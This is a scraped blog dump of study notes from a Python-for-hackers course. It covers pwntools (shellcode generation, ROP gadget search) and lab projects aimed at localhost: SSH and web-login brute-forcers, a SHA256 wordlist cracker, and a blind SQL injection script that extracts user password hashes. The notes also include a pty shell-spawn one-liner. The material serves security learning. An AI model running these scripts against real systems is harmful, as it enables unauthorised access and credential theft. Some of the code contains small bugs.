= requests.get(\u0026#39;http://httpbin.org/get123123\u0026#39;) # print(\u0026#34;Not found!\u0026#34;) # # check how much time has elapsed from sending the request # # to receiving the response # print(x.elapsed) # # check the cookies -- cookiejar object containing all the cookies # print(x.cookies) # # check the returned contents -- in bytes -- the FULL response # print(x.content) # # check the response -- in UNICODE # print(x.text) # # create a requests with parameters # x = requests.get(\u0026#39;http://httpbin.org/get\u0026#39;, params={\u0026#39;id\u0026#39;:\u0026#39;1\u0026#39;}) # print(x.url) # # specify the parameters in the requesting url # x = requests.get(\u0026#39;http://httpbin.org/get?id=2\u0026#39;) # print(x.url) # # specify additional information -- headers -- it is reflected in the response # x = requests.get(\u0026#39;http://httpbin.org/get\u0026#39;, params={\u0026#39;id\u0026#39;:\u0026#39;3\u0026#39;}, headers={\u0026#39;Accept\u0026#39;:\u0026#39;application/json\u0026#39;}) # print(x.text) # # specify additional information -- headers -- it is reflected in the response # x = requests.get(\u0026#39;http://httpbin.org/get\u0026#39;, params={\u0026#39;id\u0026#39;:\u0026#39;3\u0026#39;}, headers={\u0026#39;Accept\u0026#39;:\u0026#39;application/json\u0026#39;, \u0026#39;test_header\u0026#39;:\u0026#39;test\u0026#39;}) # print(x.text) # ##### DELETE request # x = requests.delete(\u0026#39;http://httpbin.org/delete\u0026#39;) # print(x.text) # ##### POST request -- data included as form # x = requests.post(\u0026#39;http://httpbin.org/post\u0026#39;, data={\u0026#39;a\u0026#39;:\u0026#39;b\u0026#39;}) # print(x.text) # x = requests.post(\u0026#39;http://httpbin.org/post\u0026#39;, data={\u0026#39;a\u0026#39;:\u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;:\u0026#39;d\u0026#39;, \u0026#39;e\u0026#39;:\u0026#39;f\u0026#39;}) # print(x.text) # # upload multipart encoded files # # picture downloaded from google.com -- the logo # # file is sent as in base64 encoded format # files = {\u0026#39;file\u0026#39;: open(\u0026#39;google.png\u0026#39;, \u0026#39;rb\u0026#39;)} # x = requests.post(\u0026#39;http://httpbin.org/post\u0026#39;, files=files) # print(x.text) # ###### HANDLING BASIC AUTHENTICATION # x = requests.get(\u0026#39;http://httpbin.org/get\u0026#39;, auth=(\u0026#39;username\u0026#39;,\u0026#39;password\u0026#39;)) # print(x.text) # # this is sent: \u0026#34;Authorization\u0026#34;: \u0026#34;Basic dXNlcm5hbWU6cGFzc3dvcmQ=\u0026#34;, # # checking it -- `echo -ne dXNlcm5hbWU6cGFzc3dvcmQ= | base64 -d` # translates to username:password ###### WORKING WITH SSL CERTS # verify bad ssl cert --\u0026gt; certificate has expired error # x = requests.get(\u0026#39;https://expired.badssl.com\u0026#39;) # force it -- no error but a warning # x = requests.get(\u0026#39;https://expired.badssl.com\u0026#39;, verify=False) ###### REDIRECTS # # not really readable # x = requests.get(\u0026#39;http://github.com\u0026#39;) # print(x.headers) # # check it with curl -- `curl -I http://github.com` # # -- 301 redirect to https://github.com # # specify disallowing redirects # x = requests.get(\u0026#39;http://github.com\u0026#39;, allow_redirects=False) # print(x.headers) # ##### TIMEOUTS -- waiting for the response # # will throw an error -- will time out # x = requests.get(\u0026#39;http://httpbin.org/get\u0026#39;, timeout=0.01) # print(x.content) ###### STATEFUL request -- persising data across sessions -- SESSIONS # x = requests.get(\u0026#39;http://httpbin.org/cookies\u0026#39;, cookies={\u0026#39;a\u0026#39;:\u0026#39;b\u0026#39;}) # print(x.content) # # better with sessions # x = requests.Session() # x.cookies.update({\u0026#39;a\u0026#39;:\u0026#39;b\u0026#39;}) # print(x.get(\u0026#39;http://httpbin.org/cookies\u0026#39;).text) # # will do with every subfrequent request -- no need to specify again # print(x.get(\u0026#39;http://httpbin.org/cookies\u0026#39;).text) # ##### PARSING THE JSON RESPONSE AS JSON # x = requests.get(\u0026#39;https://api.github.com/events\u0026#39;) # print(x.json()) ##### Working with other data -- not just text # download and save a picture x = requests.get(\u0026#39;https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png\u0026#39;) with open(\u0026#39;google2.png\u0026#39;, \u0026#39;wb\u0026#39;) as f: f.write(x.content) The PWNTOOLS Module Pwntools is a capture-the-flag framework and exploit development library. It includes features for interacting with local and remote processes, plus utilities for encoding, packing, and unpacking data across different architectures.\nInstall it with: pip install pwntools\n# play around with commenting/uncommenting as you see fit from pwn import * # imports the functionality into the global namespace # we can call the functions directly # # create a cyclic pattern for buffer overflows # # for identifying the offset # print(cyclic(50)) # # identify a position -- offset # print(cyclic_find(\u0026#34;laaa\u0026#34;)) # ##### shellcode and assembly # print(shellcraft.sh()) # # assembly for execve -- /bin///sh # # print it in assembly # print(hexdump(asm(shellcraft.sh()))) # ##### processes -- LOCAL # # start a local process -- sh # p = process(\u0026#34;/bin/sh\u0026#34;) # # send a command # p.sendline(\u0026#34;echo hello;\u0026#34;) # # start an interactive terminal # p.interactive() # ##### processes -- REMOTE -- start netcat listener before running # # netcat listener -- `nc -lp 1234` # # start a remote process -- sh # # establish connection and start process # r = remote(\u0026#34;127.0.0.1\u0026#34;, 1234) # # send a hello # r.sendline(\u0026#34;hello!\u0026#34;) # # start interactive session # r.interactive() # # close connection # r.close() # ##### PACKING/UNPACKING NUMBERS # # packing # print(p32(0x13371337)) # # unpacking # print(hex(u32(p32(0x13371337)))) # ##### LOADING FILES # # load the file # l = ELF(\u0026#39;/bin/bash\u0026#39;) # # check base address -- information about how it was compiled # print(hex(l.address)) # # check entrypoint # print(hex(l.entry)) # # check the address of a specific symbol from the global offset table # print(hex(l.got[\u0026#39;write\u0026#39;])) # # grab info about a specific symbol from the procedure linkage table # print(hex(l.plt[\u0026#39;write\u0026#39;])) # ###### searching in an ELF file # # search for the /bin/sh string the the file and grab the addresses # # null terminator at the end # for address in l.search(b\u0026#39;/bin/sh\\x00\u0026#39;): # print(hex(address)) # # search for a specific address in the elf file # # look for the jump esp gadget # # next() -- the first instance found # print(hex(next(l.search(asm(\u0026#39;jmp esp\u0026#39;))))) # ###### ROP -- automatised -- no need to load and search # r = ROP(l) # print(r.rbx) ##################### ENCRYPTION/ENCODING/HASHING FUNCTIONS # print(xor(\u0026#34;A\u0026#34;,\u0026#34;B\u0026#34;)) # # verify # print(xor(xor(\u0026#34;A\u0026#34;,\u0026#34;B\u0026#34;), \u0026#34;A\u0026#34;)) # # base64 encoding # print(b64e(b\u0026#34;test\u0026#34;)) # # base64 decoding # print(b64d(b\u0026#34;dGVzdA==\u0026#34;)) # # md5sum-s # print(md5sumhex(b\u0026#34;hello\u0026#34;)) # # sha1 # print(sha1sumhex(b\u0026#34;hello\u0026#34;)) ###### LOWER LEVEL FUNCTIONS print(bits(b\u0026#39;a\u0026#39;)) # verify print(unbits([0, 1, 1, 0, 0, 0, 0, 1])) Automating with Python Project-1: SSH Login Brute Forcing Note: This requires a ssh-common-passwords.txt file and an open SSH port.\nfrom pwn import *\t# to interact with the ssh service import paramiko\t# for error handling # under the hood the pwn module is making use of the paramiko module host = \u0026#34;127.0.0.1\u0026#34;\t# localhost username = \u0026#34;kali\u0026#34; attempts = 0\t# number of attempts with open(\u0026#34;ssh-common-passwords.txt\u0026#34;, \u0026#34;r\u0026#34;) as password_list: for password in password_list: password = password.strip(\u0026#34;\\n\u0026#34;) # us try-catch for authentication errors try: print(\u0026#34;[{}] Attempting password: \u0026#39;{}\u0026#39;!\u0026#34;.format(attempts, password)) response = ssh(host=host, user=username, password=password, timeout=1) # authenticated connection if response.connected(): print(\u0026#34;[\u0026gt;] Valid password found: \u0026#39;{}\u0026#39;!\u0026#34;.format(password)) response.close() # already found the valid one, no need to look further break response.close() except paramiko.ssh_exception.AuthenticationException: print(\u0026#34;[X] Invalid password!\u0026#34;) attempts += 1 Project-2: SHA256 Password Cracking from pwn import* import sys if len(sys.argv) != 2: print(\u0026#34;Invalid arguments!\u0026#34;) print(\u0026#34;\u0026gt;\u0026gt; {} \u0026lt;sha256sum\u0026gt;\u0026#34;.format(sys.argv[0])) exit() wanted_hash = sys.argv[1] print(wanted_hash) password_file = \u0026#34;rockyou.txt\u0026#34; attempts = 0\t# for recording the number of attempts made # imported from the pwn module with log.progress(\u0026#34;Attempting to crack: {}!\\n\u0026#34;.format(wanted_hash)) as p: with open(password_file, \u0026#34;r\u0026#34;, encoding=\u0026#39;latin-1\u0026#39;) as password_list: for password in password_list: password = password.strip(\u0026#34;\\n\u0026#34;).encode(\u0026#39;latin-1\u0026#39;) # create the hash for the current password -- imported from pwn module # sha256 in hex format!!! password_hash = sha256sumhex(password) # update the status of the cracking job p.status(\u0026#34;[{}] {} == {}\u0026#34;.format(attempts, password.decode(\u0026#39;latin-1\u0026#39;), password_hash)) if password_hash == wanted_hash: p.success(\u0026#34;Passoword hash found after {} attempts! {} hashes to {}!\u0026#34;.format(attempts, password.decode(\u0026#39;latin-1\u0026#39;), password_hash)) exit() attempts += 1 # failure -- no matching password found p.failure(\u0026#34;Password hash not found!\u0026#34;) # to run it -- test with \u0026#39;python\u0026#39; # `echo -ne python | sha256sum` # `python3 sha256-crack.py 11a4a60b518bf24989d481468076e5d5982884626aed9faeb35b8576fcd223e1` Project-3: Web Login Form Brute Forcing import requests import sys # for creating our own progress bar target = \u0026#34;http://127.0.0.1:5000\u0026#34; usernames = [\u0026#34;admin\u0026#34;, \u0026#34;user\u0026#34;, \u0026#34;test\u0026#34;] passwords = \u0026#34;top-100.txt\u0026#34; # displayed after successful authentication/login needle = \u0026#34;Welcome back\u0026#34; for username in usernames: with open(passwords, \u0026#34;r\u0026#34;) as passwords_list: for password in passwords_list: # clean it up password = password.strip(\u0026#34;\\n\u0026#34;).encode() # write out and jump back to the start of the line with carrige return sys.stdout.write(\u0026#34;[X] Attempting user:password -\u0026gt; {}:{}\\r\u0026#34;.format(username, password.decode())) # flush the buffer sys.stdout.flush() # sending the request r = requests.post(target, data={\u0026#34;username\u0026#34;: username, \u0026#34;password\u0026#34;: password}) # check if successful login if needle.encode() in r.content: sys.stdout.write(\u0026#34;\\n\u0026#34;) sys.stdout.write(\u0026#34;\\t[\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;] Valid password \u0026#39;{}\u0026#39; found for user \u0026#39;{}\u0026#39;!\u0026#34;.format(password.decode(), username)) sys.exit() sys.stdout.flush() sys.stdout.write(\u0026#34;\\n\u0026#34;) sys.stdout.write(\u0026#34;\\tNo password found for \u0026#39;{}\u0026#39;!\u0026#34;.format(username)) sys.stdout.write(\u0026#34;\\n\u0026#34;) Project-4: Exploiting SQL Injection This script automates a blind SQL injection attack.\nimport requests total_queries = 0 # the charset for the injection # the extracted data format will be in hex charset = \u0026#34;0123456789abcdef\u0026#34; target = \u0026#34;http://127.0.0.1:5000\u0026#34; needle = \u0026#34;Welcome back\u0026#34; def injected_query(payload): global total_queries # make the request -- blind sql injection r = requests.post(target, data = {\u0026#34;username\u0026#34; : \u0026#34;admin\u0026#39; and {}--\u0026#34;.format(payload), \u0026#34;password\u0026#34;:\u0026#34;password\u0026#34;}) total_queries += 1 # check if request succeeded or failed -- use it as inference return needle.encode() not in r.contents def boolean_query(offset, user_id, character, operator=\u0026#34;\u0026gt;\u0026#34;): payload = \u0026#34;(select hex(substr(password,{},1)) from user where id = {}) {} hex(\u0026#39;{}\u0026#39;)\u0026#34;.format(offset+1, user_id, operator, character) return injected_query(payload) # check if user is valid def invalid_user(user_id): payload = \u0026#34;(select id from user where id = {}) \u0026gt;= 0\u0026#34;.format(user_id) return injected_query(payload) # check the length of the user\u0026#39;s password hash # increment till it can\u0026#39;t be bigger --\u0026gt; proper length found def password_length(user_id): i = 0 while True: payload = \u0026#34;(select length(password) from user where id = {} and length(password) \u0026lt;= {} limit 1)\u0026#34;.format(user_id, i) if not injected_query(payload): return i i += 1 # identify the user\u0026#39;s hash -- brute-force chars for the indexes def extract_hash(charset, user_id, password_length): # the correcth hash found = \u0026#34;\u0026#34; # try every char for all the indexes for i in range(0, password_length): for j in range(len(charset)): # i:offset -- if valid request -\u0026gt; correct char found if boolean_query(i, user_id, charset[j]): found += charset[j] breaks # the correct password hash return found # print the current number of attempts and reset the counter def total_queries_taken(): global total_queries print(\u0026#34;\\t\\t[!] {} total queries!\u0026#34;.format(total_queries)) total_queries = 0 # for interacting with the functions while True: try: user_id = input(\u0026#34;\u0026gt; Enter a user ID to extract the password hash: \u0026#34;) # check for valid user if not invalid_user(user_id): # identify the password\u0026#39;s hash length for the user user_password_length = password_length(user_id) print(\u0026#34;\\t[-] User {} has length: {}\u0026#34;.format(user_id, user_password_length)) total_queries_taken() # get the user\u0026#39;s password hash print(\u0026#34;\\t[-] User {} hash: {}\u0026#34;.format(user_id, extract_hash(charset, int(user_id), user_password_length))) total_queries_taken() else: print(\u0026#34;\\t[X] User {} does not exist!\u0026#34;.format(user_id)) except KeyboardInterrupt: break Project-5: Exploiting Restricted SQL Injection Why not use SQLmap?\nSometimes existing tools fall short:\nThe tool might not find the injection point There could be a limit on the number of queries allowed Example: An API key with a daily request limit How our SQL injection works\nIn a blind SQL injection, we extract one piece of information per request. We ask yes/no questions about each character: Is it greater than 7? Is it less than b?\nThe challenge\nWhat if we could only make 128 queries?\nA 32-character MD5 password 16 possible characters per position 128 ÷ 32 = 4 queries per character This is tricky for standard tools but perfect for a custom script.\nBinary Search\nInstead of checking each character sequentially, we use binary search. We know the range (0 to f), so we compare against the middle value:\nIf the target is smaller, search the left half If the target is larger, search the right half Example finding the character 6:\nQuery # Alphabet Question Result 1 0123456789abcdef \u0026gt;7? False 2 01234567 \u0026gt;3? True 3 34567 \u0026gt;5? True 4 567 \u0026gt;6? False Example finding the character b:\nQuery # Alphabet Question Result 1 0123456789abcdef \u0026gt;7? True 2 789abcdef \u0026gt;b? False 3 789ab \u0026gt;9? True 4 9ab \u0026gt;a? True Improved code with binary search:\nimport requests total_queries = 0 # the charset for the injection # the extracted data format will be in hex charset = \u0026#34;0123456789abcdef\u0026#34; target = \u0026#34;http://127.0.0.1:5000\u0026#34; needle = \u0026#34;Welcome back\u0026#34; def injected_query(payload): global total_queries # make the request -- blind sql injection r = requests.post(target, data = {\u0026#34;username\u0026#34; : \u0026#34;admin\u0026#39; and {}--\u0026#34;.format(payload), \u0026#34;password\u0026#34;:\u0026#34;password\u0026#34;}) total_queries += 1 # check if request succeeded or failed -- use it as inference return needle.encode() not in r.contents def boolean_query(offset, user_id, character, operator=\u0026#34;\u0026gt;\u0026#34;): payload = \u0026#34;(select hex(substr(password,{},1)) from user where id = {}) {} hex(\u0026#39;{}\u0026#39;)\u0026#34;.format(offset+1, user_id, operator, character) return injected_query(payload) # check if user is valid def invalid_user(user_id): payload = \u0026#34;(select id from user where id = {}) \u0026gt;= 0\u0026#34;.format(user_id) return injected_query(payload) # check the length of the user\u0026#39;s password hash # increment till it can\u0026#39;t be bigger --\u0026gt; proper length found def password_length(user_id): i = 0 while True: payload = \u0026#34;(select length(password) from user where id = {} and length(password) \u0026lt;= {} limit 1)\u0026#34;.format(user_id, i) if not injected_query(payload): return i i += 1 # identify the user\u0026#39;s hash -- brute-force chars for the indexes def extract_hash(charset, user_id, password_length): # the correcth hash found = \u0026#34;\u0026#34; # try every char for all the indexes for i in range(0, password_length): for j in range(len(charset)): # i:offset -- if valid request -\u0026gt; correct char found if boolean_query(i, user_id, charset[j]): found += charset[j] breaks # the correct password hash return found ######### IMPROVED PART -- BINARY SEARCH def extract_hash_bst(charset, user_id, password_length): found = \u0026#34;\u0026#34; for index in range(0, password_length): start = 0 end = len(charset) - 1 # while we still have a middle while start \u0026lt;= end: if end - start == 1: # our search space is exhausted -- we do not need to keep iterating over the middle if start == 0 and boolean_query(index, user_id, charset[start]): found += charset[start] else: found += charset[start + 1] break else: # search space in NOT yet exhausted middle = (start + end) // 2 if boolean_query(index, user_id, charset[middle]): end = middle else: start = middle return found ######### IMPROVED PART -- BINARY SEARCH # print the current number of attempts and reset the counter def total_queries_taken(): global total_queries print(\u0026#34;\\t\\t[!] {} total queries!\u0026#34;.format(total_queries)) total_queries = 0 # for interacting with the functions while True: try: user_id = input(\u0026#34;\u0026gt; Enter a user ID to extract the password hash: \u0026#34;) # check for valid user if not invalid_user(user_id): # identify the password\u0026#39;s hash length for the user user_password_length = password_length(user_id) print(\u0026#34;\\t[-] User {} has length: {}\u0026#34;.format(user_id, user_password_length)) total_queries_taken() # get the user\u0026#39;s password hash print(\u0026#34;\\t[-] User {} hash: {}\u0026#34;.format(user_id, extract_hash(charset, int(user_id), user_password_length))) total_queries_taken() ######### IMPROVED PART -- BINARY SEARCH print(\u0026#34;\\t[-] User {} hash: {}\u0026#34;.format(user_id, extract_hash_bst(charset, int(user_id), user_password_length))) total_queries_taken() ######### IMPROVED PART -- BINARY SEARCH else: print(\u0026#34;\\t[X] User {} does not exist!\u0026#34;.format(user_id)) except KeyboardInterrupt: break Closing Thoughts Why Comments Matter Comments make code readable and maintainable. Use them to explain the why behind your code, not just the what.\nunknown = lambda x, y: [x[i:i+y] for i in range(0, len(x), y)] def unknown2(x, y): return [y for x in list for y in x] # this is a comment! # this line too! print(\u0026#34;asdasd\u0026#34;)\t# end of valid python \u0026#34;\u0026#34;\u0026#34; create multi line comments \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;hello world!\u0026#34;) Next Steps Practice regularly \u0026ndash; write scripts for real problems you encounter Read existing tools and scripts to learn different approaches Modify and improve tools you find Build your own scripts from scratch Think like a programmer when approaching security testing ","permalink":"https://onebee.blog/blog/collection/foundations/python-101-p2/","summary":"Collection | Foundations | Python 101 | Part 2","title":"Foundations | Python 101 - P2"},{"content":"Attribution\nThis short Introduction to Python is based on our own notes taken during the TCM Security - Python 101 for Hackers video course by Riley Kidd.\nWe highly recommend this course as a great starting point for learning Python \u0026ndash; it was instrumental in our own understanding of the subject. We would like to extend a big thank you to the TCM Security Team for providing such valuable resources!\nIntroduction Welcome and Course Introduction\nProject: https://247CTF.com/\nWhat is Python?\nA dynamic, interpreted, object-oriented, high-level language Enables cross-platform rapid prototyping and scripting Relatively simple, easy-to-learn syntax General-purpose and versatile, with a mature standard library Extensible, actively used, and supported by a large community Why Learn Python as a Hacker?\nUnderstand how scripts or proof-of-concept exploits work Debug, modify, and run existing scripts Create your own scripts and tools An easy first programming language for beginners Understanding how an application works makes it easier to anticipate how it could break (and how to fix it) Python 2 vs Python 3\nPython 2 is no longer under development \u0026ndash; but people still use it Python 2 code will (mostly) not run in a Python 3 environment Python 3 stores strings as Unicode by default (not ASCII) If you are unsure how to run a script, try both versions (or try to print something) If you have a choice, use Python 3 (Python 2 is End of Life) Setup Installing VirtualBox\nFollow the simple default installation.\nInstalling Kali Linux\nDownload the ISO from the \u0026ldquo;Bare Metal\u0026rdquo; section \u0026ndash; choose the \u0026ldquo;Installer 64-bit\u0026rdquo; option.\nVirtualBox settings for Kali:\nRAM: 2GB Disk: 40GB Devices \u0026gt; Shared Clipboard \u0026gt; Bidirectional Devices \u0026gt; Drag and Drop \u0026gt; Bidirectional Kali installation settings:\nSelect \u0026ldquo;Graphical install\u0026rdquo; Create user: notroot with password: notroot Use default partitioning (no separate partition for /var required) Install the GRUB boot loader The Python Interpreter\nStart the Python interpreter: python3 Start version 2: python2 Check CLI options: man python3 Print \u0026ldquo;hello world\u0026rdquo;: python3 -c 'print(\u0026quot;hello world\u0026quot;)' Spawn a bash shell: python3 -c 'import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;);' How to Run a Python Script\n#!/bin/python3 print(1 + 1) print(__name__) if __name__ == \u0026#34;__main__\u0026#34;: print(\u0026#34;do something\u0026#34;) Run with Python 3: python3 calculate-demo.py Run with Python 2: python2 calculate-demo.py Run using the shebang: #!/bin/python3 # place this on the first line chmod +x calculate-demo.py # make the script executable ./calculate-demo.py # run the script Understanding __name__ == \u0026quot;__main__\u0026quot;\nWhen the Python interpreter runs a file directly, __name__ is set to \u0026quot;__main__\u0026quot;.\nHowever, if the file is imported from another module, __name__ is set to the name of that module. This allows you to write code that only runs when the script is executed directly, not when it is imported.\nInstalling Sublime Text\nNavigate to sublimetext.com Download for Linux Follow the installation instructions: wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/sublimehq-archive.gpg \u0026gt; /dev/null # select the channel to use echo \u0026#34;deb https://download.sublimetext.com/ apt/stable/\u0026#34; | sudo tee /etc/apt/sources.list.d/sublime-text.list # update sources and install sudo apt-get update sudo apt-get install sublime-text Launch Sublime: subl calculate-demo.py Python 101 Python Syntax def test(): print(\u0026#34;test\u0026#34;) print(\u0026#34;test2\u0026#34;) string = \u0026#34;string\u0026#34; number = 10 test() x = 1 + 2 \\ + 3 print(x) y = 1 + 1 print(y) Indentation\nPython uses indentation to define code blocks. You need at least one space, though we recommend using four spaces consistently throughout your code. Blank lines are ignored by Python. Use a backslash (\\) to continue a statement across multiple lines.\nGetting Help\nUse Python\u0026rsquo;s built-in help system with help(print) or dir(print) to list the attributes and methods available for an object. Alternatively, refer to the PEP 8 Style Guide for Python best practices.\nVariables and Data Types name = \u0026#34;neut\u0026#34; name_length = 4 name, name_length = \u0026#34;neut\u0026#34;, 4 print(type(name)) print(type(name_length)) # casting name_length = int(\u0026#34;4\u0026#34;) # case sensitivity name_length = 4 Name_lenght = 5 # lists name_list = [\u0026#34;neut\u0026#34;, \u0026#34;247CTF\u0026#34;, \u0026#34;asd\u0026#34;] name1, name2, name3 = name_list # tuple name_tuple = (\u0026#34;neut\u0026#34;, \u0026#34;247CTF\u0026#34;) # dict name_dictionary = {\u0026#34;neut\u0026#34;: 4, \u0026#34;247CFT\u0026#34;: 6} name_boolean = True name_range = range(6) name_bytes = b\u0026#34;neut2\u0026#34; Numbers t1_int = 1 t1_float = 1.0 t1_complex = 3.14j t1_hex = 0xa t1_octal = 0o10 print(1 + 0x1 + 0o1) # =3 print(abs(4)) print(abs(-4)) print(round(8.4)) #8 print(round(8.5)) #8 print(round(8.6)) #9 print(bin(8)) print(hex(8)) String Formatting In Python 3, all strings are represented in Unicode. Python strings are immutable \u0026ndash; they cannot be changed after creation. When using .format(), no casting is needed.\nstring1 = \u0026#34;I am a string!\u0026#34; string2 = \u0026#39;I am a string too!\u0026#39; string3 = \u0026#34;\u0026#34;\u0026#34;I am a long long string!\u0026#34;\u0026#34;\u0026#34; string4 = \u0026#34;I\u0026#39;m a string\u0026#34; string5 = \u0026#34;I\\\u0026#34;m a string\u0026#34; # escape --\u0026gt; \\ ABC string6 = \u0026#34;\\\\ \\x42\\42\\43\u0026#34; string7 = \u0026#34;aaaaaaaaaa\u0026#34; string8 = \u0026#34;a\u0026#34; * 10 # substring in string print(\u0026#34;neut\u0026#34; in string4) print(string4.startswith(\u0026#34;I\u0026#34;)) print(string4.startswith(\u0026#34;n\u0026#34;)) # substring location print(string4.index(\u0026#34;string\u0026#34;)) # upper; lower print(string4.upper()) print(string4.lower()) # cleaning up a messy string messy_string = \u0026#34; Messy string! \u0026#34; # by default -- by space print(messy_string.strip()) messy_string = \u0026#34;Messy,string!\u0026#34; print(messy_string.strip(\u0026#34;,\u0026#34;)) # replace parts print(messy_string.replace(\u0026#34;!\u0026#34;,\u0026#34;?\u0026#34;).strip()) print(messy_string.replace(\u0026#34;string\u0026#34;,\u0026#34;example\u0026#34;)) # ENCODING -- default --\u0026gt; Unicode string4 = \u0026#34;I am a string!\u0026#34; print(string4) print(string4.encode()) print(string4.encode(\u0026#34;utf-8\u0026#34;)) # left and right adjustment # for padding and keeping consistent length print(string4.rjust(25)) print(string4.ljust(25)) # use other delimiter -- not space print(string4.rjust(25,\u0026#34;X\u0026#34;)) print(string4.ljust(25,\u0026#34;X\u0026#34;)) # concatenation print(\u0026#34;I am\u0026#34; + \u0026#34; a string\u0026#34;) print(\u0026#34;String 4 is \u0026#34; + str(len(string4)) + \u0026#34; characters long\u0026#34;) print(type(\u0026#34;1\u0026#34;+\u0026#34;1\u0026#34;)) # string formatting -- {} is the placeholder print(\u0026#34;string4 is {} characters long!\u0026#34;.format(len(string4))) print(\u0026#34;{} {} {}\u0026#34;.format(len(string4), 5.0, 0x12)) # specify the order of things print(\u0026#34;{0} {2} {1}\u0026#34;.format(len(string4), 5.0, 0x12)) # specify the name of the place holder print(\u0026#34;{length}\u0026#34;.format(length=len(string4))) # formatted string length = len(string4) print(f\u0026#34;string4 is {length} characters long\u0026#34;) # as a float print(f\u0026#34;string4 is {length:.2f} characters long\u0026#34;) # hex print(f\u0026#34;string4 is {length:x} characters long\u0026#34;) # byte print(f\u0026#34;string4 is {length:b} characters long\u0026#34;) # octal print(f\u0026#34;string4 is {length:o} characters long\u0026#34;) # format strings print(\u0026#34;string4 is %d characters long!\u0026#34; % len(string4)) print(\u0026#34;string4 is %f characters long!\u0026#34; % len(string4)) print(\u0026#34;string4 is %x characters long!\u0026#34; % len(string4)) Booleans \u0026amp; Operators valid = True not_valid = False print(valid) print(not_valid) # comparison print(valid == True) print(not_valid == True) print(valid != True) print(not_valid != True) # the same as !valid in c -- NOT in python print(not valid) print(not not_valid) # the same as ((10 \u0026lt; 9) == True) print((10 \u0026lt; 9)) print((10 == 10)) print((10 != 10)) print((10 \u0026gt;= 10)) print((10 \u0026lt;= 10)) print((10 \u0026gt; 9)) print(\u0026#34;-----\u0026#34;) # multiple comparisons print(10 \u0026gt; 5 and 10 \u0026lt; 5) print(10 \u0026gt; 5 or 10 \u0026lt; 5) # referencing booleans as numbers -- 0:False -- 1:True print(bool(0)) print(bool(1)) print(bool(0) == False) print(bool(1) == True) print(\u0026#34;-----\u0026#34;) # arithmetic operations print(10 + 10) print(10 - 10) print(10 / 10) print(10 // 10) print(10 / 3) print(10 // 3) print(10 % 3) print(10 * 10) print(10 ** 10) print(10 % 10) # short hand version of operations -- syntactic sugar x = 10 print(x) x = x + 1 print(x) x += 1 print(x) x -= 1 print(x) x *= 5 print(x) x /= 5 print(x) # bitwise operators print(\u0026#34;-\u0026#34;*20) x = 13 print(bin(x)) # better visibility -- remove 0b from front -- rjust print(bin(x)[2:].rjust(4,\u0026#34;0\u0026#34;)) y = 5 print(bin(y)[2:].rjust(4,\u0026#34;0\u0026#34;)) # bitwise and/or print(bin(x \u0026amp; y)[2:].rjust(4,\u0026#34;0\u0026#34;)) print(x \u0026amp; y) print(bin(x | y)[2:].rjust(4,\u0026#34;0\u0026#34;)) print(x | y) # bitwise shift -- bitshift print(bin(x)[2:].rjust(4,\u0026#34;0\u0026#34;)) print(bin(x \u0026gt;\u0026gt; 1)[2:].rjust(4,\u0026#34;0\u0026#34;)) print(bin(x \u0026gt;\u0026gt; 2)[2:].rjust(4,\u0026#34;0\u0026#34;)) print(bin(x \u0026gt;\u0026gt; 4)[2:].rjust(4,\u0026#34;0\u0026#34;)) print(bin(x \u0026lt;\u0026lt; 1)[2:].rjust(4,\u0026#34;0\u0026#34;)) Tuples Tuples store multiple items in a single variable. They are immutable \u0026ndash; they cannot be changed after creation \u0026ndash; but they can be combined with other tuples.\ntuple_items = (\u0026#34;item1\u0026#34;, \u0026#34;item2\u0026#34;, \u0026#34;item3\u0026#34;) print(tuple_items) print(type(tuple_items)) tuple_numbers = (1, 2, 3) print(tuple_numbers) print(type(tuple_numbers)) tuple_repeat = (\u0026#39;Combine!\u0026#39;, ) * 4 print(tuple_repeat) print(type(tuple_repeat)) mixed_tuple = (\u0026#34;A\u0026#34;, 1, (\u0026#34;A\u0026#34;, 1)) print(mixed_tuple) print(type(mixed_tuple)) # combine tuples tuple_combined = tuple_items + tuple_numbers print(tuple_combined) print(type(tuple_combined)) # unpacking a tuple item1, item2, item3 = tuple_items print(item1) print(item2) print(item3) # part of/exists or not print(\u0026#34;item2\u0026#34; in tuple_items) print(\u0026#34;item3\u0026#34; in tuple_items) print(\u0026#34;item4\u0026#34; in tuple_items) # where to find it -- indexing print(tuple_items.index(\u0026#34;item2\u0026#34;)) print(tuple_items[0]) print(tuple_items[1]) print(tuple_items[2]) print(len(tuple_items)) # the last one print(tuple_items[-1]) print(tuple_items[-2]) # slices -- to extract a number of elements print(tuple_items[0:2]) print(tuple_items[:2]) print(tuple_items[-3:-1]) string1 = \u0026#34;I am a string!\u0026#34; print(string1[0:4]) print(string1[-1]) Lists Lists are ordered, changeable, and allow duplicates. When copying lists, always make a hard copy using list.copy() rather than simple assignment.\nYou cannot copy a list to another list simply by writing list1 = list2 This only creates a reference \u0026ndash; all changes will propagate to both variables Both variables point to the same underlying data in memory Use list.copy() to create an independent copy list1 = [\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;, \u0026#34;D\u0026#34;, \u0026#34;E\u0026#34;, \u0026#34;F\u0026#34;] print(list1) list2 = [\u0026#34;A\u0026#34;, 1, 2.0, [\u0026#34;A\u0026#34;], [], list(), (\u0026#34;A\u0026#34;), False] print(list2) print(type(list2)) # indexing print(list1[0]) print(list1[-1]) print(list2[3][0]) print(list2[3][-1]) # change the list after it was defined list1[0] = \u0026#34;X\u0026#34; print(list1) # delete -- insert -- append del list1[0] print(list1) list1.insert(0, \u0026#34;A\u0026#34;) print(list1) del list1[0] print(list1) list1 = [\u0026#34;A\u0026#34;] + list1 print(list1) list1.append(\u0026#34;G\u0026#34;) print(list1) # built-in functions -- max;min;index;reverse;count print(max(list1)) print(min(list1)) print(list1.index(\u0026#34;C\u0026#34;)) print(list1[list1.index(\u0026#34;C\u0026#34;)]) list1.reverse() print(list1) # the same with syntactic sugar list1 = list1[::-1] print(list1) print(list1.count(\u0026#34;A\u0026#34;)) list1.append(\u0026#34;A\u0026#34;) print(list1.count(\u0026#34;A\u0026#34;)) # remove last element list1.pop() print(list1) # extending lists list3 = [\u0026#34;H\u0026#34;, \u0026#34;I\u0026#34;, \u0026#34;J\u0026#34;] print(list3) list1.extend(list3) 